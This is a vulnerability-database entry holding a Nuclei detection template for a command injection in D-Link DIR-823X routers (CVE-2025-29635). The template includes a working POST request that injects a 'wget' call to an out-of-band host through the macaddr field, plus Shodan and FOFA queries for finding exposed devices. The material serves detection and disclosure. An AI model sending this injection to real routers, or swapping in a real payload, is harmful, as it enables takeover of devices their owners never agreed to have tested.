Lucene search
+L

D-Link DIR-823X set_prohibiting - Command Injection

🗓️ 22 Jul 2026 17:26:09Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 4 Views

D-Link DIR-823X command injection via POST to /goform/set_prohibiting; update firmware.

Related
Refs
Code
id: CVE-2025-29635

info:
  name: D-Link DIR-823X set_prohibiting - Command Injection
  author: pussycat0x
  severity: high
  description: |
    D-Link DIR-823X 240126 and 240802 contain a command injection caused by sending a POST request to /goform/set_prohibiting, letting an authorized attacker execute arbitrary commands remotely, exploit requires attacker to be authorized.
  impact: |
    Attackers can execute arbitrary commands on the device remotely, potentially leading to full device compromise.
  remediation: |
    Update to the latest firmware version provided by D-Link or contact vendor for patches.
  reference:
    - https://securityaffairs.com/191135/malware/mirai-botnet-exploits-cve-2025-29635-to-target-legacy-d-link-routers.html
    - https://github.com/D-Link-SA/CVE-2025-29635/blob/main/CVE-2025-29635.md
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29635
  classification:
    cvss-score: 7.2
    cve-id: CVE-2025-29635
    epss-score: 0.87239
    epss-percentile: 0.99733
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
    vendor: dlink
    product: dir-823x_firmware
    shodan-query: title:"D-Link"
    fofa-query: title="DIR-823X"
  tags: cve,cve2025,dlink,rce,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(body), 'dir-823')"
        internal: true

  - raw:
      - |
        POST /goform/set_prohibiting HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        macaddr=||wget http://{{interactsh-url}}||&token=00000000000000000000000000000000

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100d9ee94323919d63c45365e8e1c8fa6515f3fa0d0c0b03f3b4c5b059ee5e8e0a102204f0ff469b9e5128fea5f632877b91903f29444123cfb6bb6b6bc607f518ca5bc:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jul 2026 17:26Current
8.6High risk
Vulners AI Score8.6
CVSS 3.17.2
EPSS0.87239
SSVC
4